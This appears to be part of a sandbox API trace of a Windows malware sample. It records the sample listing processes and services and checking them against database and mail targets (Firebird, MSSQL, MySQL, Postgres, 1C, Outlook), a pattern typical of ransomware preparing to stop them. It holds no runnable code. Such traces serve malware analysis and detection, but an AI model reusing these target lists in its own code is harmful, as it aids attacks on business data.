th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0147.278] lstrlenW (lpString="userinit.exe") returned 12 [0147.278] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.278] lstrlenW (lpString="explorer.exe") returned 12 [0147.278] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0147.279] lstrlenW (lpString="dwm.exe") returned 7 [0147.279] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.279] lstrlenW (lpString="svchost.exe") returned 11 [0147.279] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0147.279] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0147.279] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0147.280] lstrlenW (lpString="spoolsv.exe") returned 11 [0147.280] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0147.280] lstrlenW (lpString="reader_sl.exe") returned 13 [0147.280] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.280] lstrlenW (lpString="svchost.exe") returned 11 [0147.280] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0147.280] lstrlenW (lpString="taskhost.exe") returned 12 [0147.281] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0147.281] CloseHandle (hObject=0x36c) returned 1 [0147.281] Sleep (dwMilliseconds=0x1f4) [0147.894] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b690 [0147.952] EnumServicesStatusExW (in: hSCManager=0x428b690, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0147.952] GetLastError () returned 0xea [0147.952] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0147.952] EnumServicesStatusExW (in: hSCManager=0x428b690, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0147.953] CloseServiceHandle (hSCObject=0x428b690) returned 1 [0147.953] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0147.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.953] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0147.953] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0147.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0147.953] lstrlenW (lpString="AudioSrv") returned 8 [0147.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0147.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0147.953] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0147.953] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0147.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0147.953] lstrlenW (lpString="BFE") returned 3 [0147.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0147.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0147.954] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0147.954] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0147.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0147.954] lstrlenW (lpString="CryptSvc") returned 8 [0147.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0147.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0147.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0147.954] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0147.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0147.954] lstrlenW (lpString="CscService") returned 10 [0147.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0147.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0147.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0147.954] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0147.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0147.954] lstrlenW (lpString="DcomLaunch") returned 10 [0147.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.954] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0147.954] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0147.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0147.954] lstrlenW (lpString="Dhcp") returned 4 [0147.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0147.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0147.954] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0147.954] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0147.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0147.954] lstrlenW (lpString="Dnscache") returned 8 [0147.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0147.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0147.954] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0147.954] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0147.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0147.954] lstrlenW (lpString="DPS") returned 3 [0147.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0147.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0147.955] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0147.955] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0147.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0147.955] lstrlenW (lpString="eventlog") returned 8 [0147.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0147.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0147.955] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0147.955] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0147.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0147.955] lstrlenW (lpString="EventSystem") returned 11 [0147.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0147.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0147.955] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0147.955] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0147.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0147.955] lstrlenW (lpString="gpsvc") returned 5 [0147.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0147.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0147.955] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0147.955] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0147.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0147.955] lstrlenW (lpString="LanmanWorkstation") returned 17 [0147.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.955] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0147.955] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0147.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0147.955] lstrlenW (lpString="lmhosts") returned 7 [0147.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0147.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0147.955] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0147.955] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0147.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0147.955] lstrlenW (lpString="MMCSS") returned 5 [0147.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0147.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0147.956] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0147.956] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0147.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0147.956] lstrlenW (lpString="MpsSvc") returned 6 [0147.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0147.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0147.956] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0147.956] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0147.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0147.956] lstrlenW (lpString="NlaSvc") returned 6 [0147.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0147.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0147.956] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0147.956] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0147.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0147.956] lstrlenW (lpString="nsi") returned 3 [0147.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0147.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0147.956] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0147.956] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0147.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0147.956] lstrlenW (lpString="PcaSvc") returned 6 [0147.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0147.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0147.956] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0147.956] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0147.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0147.956] lstrlenW (lpString="PlugPlay") returned 8 [0147.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0147.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0147.956] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0147.956] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0147.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0147.956] lstrlenW (lpString="Power") returned 5 [0147.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0147.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0147.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0147.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0147.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0147.957] lstrlenW (lpString="ProfSvc") returned 7 [0147.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0147.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0147.957] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0147.957] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0147.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0147.957] lstrlenW (lpString="RpcEptMapper") returned 12 [0147.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.957] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0147.957] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0147.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0147.957] lstrlenW (lpString="RpcSs") returned 5 [0147.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0147.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0147.957] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0147.957] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0147.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0147.957] lstrlenW (lpString="SamSs") returned 5 [0147.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0147.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0147.957] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0147.957] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0147.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0147.957] lstrlenW (lpString="Schedule") returned 8 [0147.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0147.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0147.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0147.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0147.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0147.957] lstrlenW (lpString="SENS") returned 4 [0147.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0147.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0147.958] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0147.958] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0147.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0147.958] lstrlenW (lpString="ShellHWDetection") returned 16 [0147.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.958] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0147.958] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0147.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0147.958] lstrlenW (lpString="Spooler") returned 7 [0147.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0147.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0147.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0147.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0147.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0147.958] lstrlenW (lpString="SysMain") returned 7 [0147.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0147.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0147.958] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0147.958] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0147.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0147.958] lstrlenW (lpString="Themes") returned 6 [0147.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0147.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0147.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0147.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0147.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0147.958] lstrlenW (lpString="TrkWks") returned 6 [0147.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0147.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0147.958] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0147.958] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0147.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0147.958] lstrlenW (lpString="UxSms") returned 5 [0147.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0147.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0147.959] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0147.959] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0147.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0147.959] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0147.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0147.960] Process32FirstW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.960] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0147.961] lstrlenW (lpString="System") returned 6 [0147.961] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0147.961] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0147.961] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0147.961] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0147.961] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0147.961] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0147.961] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0147.961] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0147.962] lstrlenW (lpString="smss.exe") returned 8 [0147.962] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0147.962] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.962] lstrlenW (lpString="csrss.exe") returned 9 [0147.962] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.962] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.962] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.962] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0147.963] lstrlenW (lpString="wininit.exe") returned 11 [0147.963] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0147.963] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0147.963] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0147.963] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0147.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0147.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0147.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0147.963] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.963] lstrlenW (lpString="csrss.exe") returned 9 [0147.963] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.963] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.963] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.963] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.963] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0147.964] lstrlenW (lpString="winlogon.exe") returned 12 [0147.964] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0147.964] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0147.964] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0147.964] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0147.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0147.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0147.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0147.964] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0147.964] lstrlenW (lpString="services.exe") returned 12 [0147.964] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0147.964] 